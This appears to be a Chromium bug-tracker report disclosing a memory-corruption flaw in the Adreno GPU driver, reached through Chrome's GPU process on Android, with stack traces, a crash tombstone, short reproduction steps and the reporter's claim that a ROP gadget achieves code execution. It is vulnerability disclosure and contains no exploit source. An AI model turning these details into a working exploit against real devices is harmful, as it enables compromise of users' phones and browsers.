  000000000005d26c  scudo::die()+12) (BuildId: 61a049a7ad18156ebc52d8d483539df9                       /apex/com.android.runtime/lib64/bionic/libc.so
  000000000005dcbc  scudo::reportRawError(char const*)+32) (BuildId: 61a049a7ad18156ebc52d8d483539df9  /apex/com.android.runtime/lib64/bionic/libc.so
  000000000005dc30  scudo::ScopedErrorReport::~ScopedErrorReport()+16) (BuildId: 61a049a7ad18156ebc52d8d483539df9  /apex/com.android.runtime/lib64/bionic/libc.so
  000000000005e04c  scudo::reportInvalidChunkState(scudo::AllocatorAction, void*)+120) (BuildId: 61a049a7ad18156ebc52d8d483539df9  /apex/com.android.runtime/lib64/bionic/libc.so
  000000000005f7d8  scudo::Allocator<scudo::AndroidNormalConfig, &scudo_malloc_postinit>::deallocate(void*, scudo::Chunk::Origin, unsigned long, unsigned long)+296) (BuildId: 61a049a7ad18156ebc52d8d483539df9  /apex/com.android.runtime/lib64/bionic/libc.so
  000000000020121c  !!!0000!b5eedfb3a584512f78b9dc44aa9054!e4a2ccdb56!+172) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766  /vendor/lib64/egl/libGLESv2_adreno.so
  0000000000204714  !!!0000!d0051afa8fb0bb02a68e169738355f!e4a2ccdb56!+9876) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766  /vendor/lib64/egl/libGLESv2_adreno.so
  0000000000201f90  !!!0000!4c55ad62eeadde03d2e8ada46b4156!e4a2ccdb56!+48) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766  /vendor/lib64/egl/libGLESv2_adreno.so
  000000000311e24c  rx::RendererGL::flush()                                                           ../../third_party/angle/src/libANGLE/renderer/gl/RendererGL.cpp:228:5
  0000000007a647dc  GL_Flush                                                                          ../../third_party/angle/src/libGLESv2/entry_points_gles_2_0_autogen.cpp:2018:22
  0000000009032884  gpu::gles2::GLES2DecoderPassthroughImpl::DoFlush()                                ../../gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc:1224:10
  0000000009027b84  gpu::error::Error gpu::gles2::GLES2DecoderPassthroughImpl::DoCommandsImpl<false>(unsigned int, void const volatile*, int, int*)  ../../gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:742:20
  0000000003cf51a4  gpu::CommandBufferService::Flush(int, gpu::AsyncAPIInterface*)                    ../../gpu/command_buffer/service/command_buffer_service.cc:267:35
  00000000090e9540  gpu::CommandBufferStub::OnAsyncFlush(int, unsigned int, std::__Cr::vector<gpu::SyncToken, std::__Cr::allocator<gpu::SyncToken>> const&)  ../../gpu/ipc/service/command_buffer_stub.cc:504:22
  00000000090e9284  gpu::CommandBufferStub::ExecuteDeferredRequest(gpu::mojom::DeferredCommandBufferRequestParams&, gpu::FenceSyncReleaseDelegate*)  ../../gpu/ipc/service/command_buffer_stub.cc:173:7
  00000000090eec54  gpu::GpuChannel::ExecuteDeferredRequest(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*)  ../../gpu/ipc/service/gpu_channel.cc:833:13
  v------>  void base::internal::DecayedFunctorTraits<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>::Invoke<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&, gpu::FenceSyncReleaseDelegate*&&)  ../../base/functional/bind_internal.h:740:12
  v------>  void base::internal::InvokeHelper<true, base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, void, 0ul, 1ul>::MakeItSo<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>&&, gpu::FenceSyncReleaseDelegate*&&)  ../../base/functional/bind_internal.h:956:5
  v------>  void base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, base::internal::BindState<true, true, false, void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, void (gpu::FenceSyncReleaseDelegate*)>::RunImpl<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, 0ul, 1ul>(void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>&&, std::__Cr::integer_sequence<unsigned long, 0ul, 1ul>, gpu::FenceSyncReleaseDelegate*&&)  ../../base/functional/bind_internal.h:1069:14
  00000000090f1714  base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, base::internal::BindState<true, true, false, void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, void (gpu::FenceSyncReleaseDelegate*)>::RunOnce(base::internal::BindStateBase*, gpu::FenceSyncReleaseDelegate*)  ../../base/functional/bind_internal.h:982:12
  v------>  base::OnceCallback<void (media::DemuxerStream*)>::Run(media::DemuxerStream*) &&   ../../base/functional/callback.h:155:12
  v------>  void base::internal::DecayedFunctorTraits<base::OnceCallback<void (media::DemuxerStream*)>, media::DemuxerStream*&&>::Invoke<base::OnceCallback<void (media::DemuxerStream*)>, media::DemuxerStream*>(base::OnceCallback<void (media::DemuxerStream*)>&&, media::DemuxerStream*&&)  ../../base/functional/bind_internal.h:815:49
  v------>  void base::internal::InvokeHelper<false, base::internal::FunctorTraits<base::OnceCallback<void (media::DemuxerStream*)>&&, media::DemuxerStream*&&>, void, 0ul>::MakeItSo<base::OnceCallback<void (media::DemuxerStream*)>, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>>(base::OnceCallback<void (media::DemuxerStream*)>&&, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&)  ../../base/functional/bind_internal.h:932:12
  v------>  void base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (media::DemuxerStream*)>&&, media::DemuxerStream*&&>, base::internal::BindState<false, true, true, base::OnceCallback<void (media::DemuxerStream*)>, base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunImpl<base::OnceCallback<void (media::DemuxerStream*)>, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, 0ul>(base::OnceCallback<void (media::DemuxerStream*)>&&, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&, std::__Cr::integer_sequence<unsigned long, 0ul>)  ../../base/functional/bind_internal.h:1069:14
  000000000364588c  base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (BrowserWindowInterface*)>&&, base::raw_ptr<BrowserWindowInterface, (partition_alloc::internal::RawPtrTraits)1>&&>, base::internal::BindState<false, true, true, base::OnceCallback<void (BrowserWindowInterface*)>, base::internal::UnretainedWrapper<BrowserWindowInterface, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)1>>, void ()>::RunOnce(base::internal::BindStateBase*)  ../../base/functional/bind_internal.h:982:12
  v------>  base::OnceCallback<void ()>::Run() &&                                             ../../base/functional/callback.h:155:12
  0000000003cfa4b8  gpu::Scheduler::ExecuteSequence(base::IdType<gpu::SyncPointOrderData, unsigned int, 0u, 1u>)  ../../gpu/command_buffer/service/scheduler.cc:707:29
  0000000003cf9cb8  gpu::Scheduler::RunNextTask()                                                     ../../gpu/command_buffer/service/scheduler.cc:625:3
  v------>  base::OnceCallback<void ()>::Run() &&                                             ../../base/functional/callback.h:155:12
  00000000067bce40  base::TaskAnnotator::RunTaskImpl(base::PendingTask&)                              ../../base/task/common/task_annotator.cc:229:34
  v------>  void base::TaskAnnotator::RunTask<base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_3>(perfetto::StaticString, base::PendingTask&, base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_3&&)  ../../base/task/common/task_annotator.h:112:5
  00000000067d7174  base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)  ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:475:23
  00000000067d6d90  base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()   ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
  000000000677330c  base::MessagePumpDefault::Run(base::MessagePump::Delegate*)                       ../../base/message_loop/message_pump_default.cc:42:55
  00000000067d778c  base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta)  ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
  000000000679e314  base::RunLoop::Run(base::Location const&)                                         ../../base/run_loop.cc:135:14
  000000000c119ba0  content::GpuMain(content::MainFunctionParams)                                     ../../content/gpu/gpu_main.cc:479:14
  000000000674e9ac  content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*)  ../../content/app/content_main_runner_impl.cc:762:14
  000000000674f84c  content::ContentMainRunnerImpl::Run()                                             ../../content/app/content_main_runner_impl.cc:1152:10
  000000000674d3c0  content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*)  ../../content/app/content_main.cc:358:36
  000000000674e334  content::StartContentMain(bool)                                                   ../../content/app/android/content_main_android.cc:54:10
  00000000002d66bc  art_jni_trampoline+108) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5        /system/framework/arm64/boot.oat
  0000000000689408  nterp_helper+152) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390                      /apex/com.android.art/lib64/libart.so
  000000000028d32a  offset 0x1eff000) (vh1.run+570                                                    /data/app/~~ZSiUhW9gIcmH2RPb76mnYA==/org.chromium.chrome-whViy_L9On5doNx0pGvt9g==/base.apk/libmonochrome.so
  00000000000a9500  java.lang.Thread.run+64) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5       /system/framework/arm64/boot.oat
  0000000000317194  art_quick_invoke_stub+612) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390             /apex/com.android.art/lib64/libart.so
  0000000000302838  art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390  /apex/com.android.art/lib64/libart.so
  00000000004c8298  art::Thread::CreateCallback(void*)+932) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390  /apex/com.android.art/lib64/libart.so
  00000000004c7ee4  art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390  /apex/com.android.art/lib64/libart.so
  0000000000082740  __pthread_start(void*)+184) (BuildId: 61a049a7ad18156ebc52d8d483539df9            /apex/com.android.runtime/lib64/bionic/libc.so
  0000000000074b98  __start_thread+68) (BuildId: 61a049a7ad18156ebc52d8d483539df9                     /apex/com.android.runtime/lib64/bionic/libc.so

Exploit reproduce environment

1.local test build with adreno_exp.cpp

2.adb shell and logcat -s LOG

Exploit from chromium 1.patch renderer with adreno_exp.h like issue https://issues.chromium.org/issues/402078335 2.run exp.html 3.logcat | grep DEBUG

 DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
 DEBUG   : Build fingerprint: 'samsung/pa1qzcx/pa1q:16/BP2A.250605.031.A3/S9310ZCS9BZB2_CHC9BZB2:user/release-keys'
 DEBUG   : Revision: '11'
 DEBUG   : ABI: 'arm64'
 DEBUG   : Processor: '7'
 DEBUG   : Timestamp: 2026-03-18 09:02:27.979595759+0800
 DEBUG   : Process uptime: 14s
 DEBUG   : Cmdline: org.chromium.chrome:privileged_process0
 DEBUG   : pid: 7678, tid: 7723, name: CrGpuMain  >>> org.chromium.chrome:privileged_process0 <<<
 DEBUG   : uid: 10366
 DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
 DEBUG   : pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
 DEBUG   : signal 5 (SIGTRAP), code -6 (SI_TKILL), fault addr --------
 DEBUG   :     x0  0000000000000000  x1  0000000000001e2b  x2  0000000000000005  x3  0000000000000040
 DEBUG   :     x4  000000000000003f  x5  000000000000003f  x6  000000000000003f  x7  0000000000000000
 DEBUG   :     x8  0000000000000083  x9  0000000000000005  x10 0000007c1c90e8dc  x11 0000000000000001
 DEBUG   :     x12 00000000400c0907  x13 0000007916e2e140  x14 0000000000010c20  x15 0000000000000002
 DEBUG   :     x16 0000007c1c977760  x17 0000007c1c95e5c0  x18 000000783fc90000  x19 b400007a9e0a7d30
 DEBUG   :     x20 0000000000000000  x21 b4000079ee08bf00  x22 b400007b3e0942d0  x23 b4000079be1000a0
 DEBUG   :     x24 b400007a9e0a7d30  x25 b400007b3e094db0  x26 b4000079be1000a0  x27 0000000000000000
 DEBUG   :     x28 0000000000000001  x29 00000078c141ad30
 DEBUG   :     lr  0000007828813408  sp  00000078c141ad00  pc  0000007c1c95e5cc  pst 0000000000001000
 DEBUG   : 40 total frames
 DEBUG   : backtrace:
 DEBUG   :       #00 pc 00000000000d65cc  /apex/com.android.runtime/lib64/bionic/libc.so (tgkill+12) (BuildId: 61a049a7ad18156ebc52d8d483539df9)
 DEBUG   :       #01 pc 0000000000201404  /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!b5eedfb3a584512f78b9dc44aa9054!e4a2ccdb56!+660) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
 DEBUG   :       #02 pc 0000000000204714  /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!d0051afa8fb0bb02a68e169738355f!e4a2ccdb56!+9876) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
 DEBUG   :       #03 pc 00000000003e7720  /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!12c70bdeaedf524ea417d15cbe14db!e4a2ccdb56!+288) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
 DEBUG   :       #04 pc 00000000004686e0  /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!5ca735cd4b25fc7485be678c9f7288!e4a2ccdb56!+80) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
 DEBUG   :       #05 pc 00000000003f1f80  /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!6a1372f3b46c5fb5f8486087eaf6ca!e4a2ccdb56!+192) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
 DEBUG   :       #06 pc 0000000003128940  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #07 pc 0000000003004940  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #08 pc 0000000002fec49c  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #09 pc 00000000090326d8  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #10 pc 0000000009027b84  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #11 pc 0000000003cf51a4  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #12 pc 00000000090e9540  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #13 pc 00000000090e9284  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #14 pc 00000000090eec54  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #15 pc 00000000090f1714  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #16 pc 000000000364588c  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #17 pc 0000000003cfa4b8  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #18 pc 0000000003cf9cb8  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #19 pc 00000000067bce40  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #20 pc 00000000067d7174  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #21 pc 00000000067d6d90  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #22 pc 000000000677330c  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #23 pc 00000000067d778c  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #24 pc 000000000679e314  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #25 pc 000000000c119ad4  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #26 pc 000000000674e9ac  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #27 pc 000000000674f84c  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #28 pc 000000000674d3c0  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #29 pc 000000000674e334  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
 DEBUG   :       #30 pc 00000000002d66bc  /system/framework/arm64/boot.oat (art_jni_trampoline+108) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5)
 DEBUG   :       #31 pc 0000000000689408  /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
 DEBUG   :       #32 pc 000000000028d32a  /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/base.apk (offset 0x1eff000) (vh1.run+570)
 DEBUG   :       #33 pc 00000000000a9500  /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5)
 DEBUG   :       #34 pc 0000000000317194  /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
 DEBUG   :       #35 pc 0000000000302838  /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
 DEBUG   :       #36 pc 00000000004c8298  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
 DEBUG   :       #37 pc 00000000004c7ee4  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
 DEBUG   :       #38 pc 0000000000082740  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+184) (BuildId: 61a049a7ad18156ebc52d8d483539df9)
 DEBUG   :       #39 pc 0000000000074b98  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+68) (BuildId: 61a049a7ad18156ebc52d8d483539df9)

To prove that this is a demonstration of RCE, I used raise(5) in my gadget because I found that executing system in Chrome requires using ROP, and the GPU address and CPU address are not shared. For the sake of simplicity, I used raise. After successfully executing this shellcode, you can see that the final crash log is tgkill.

CREDIT INFORMATION

Reporter credit: happy2me

View on issue tracker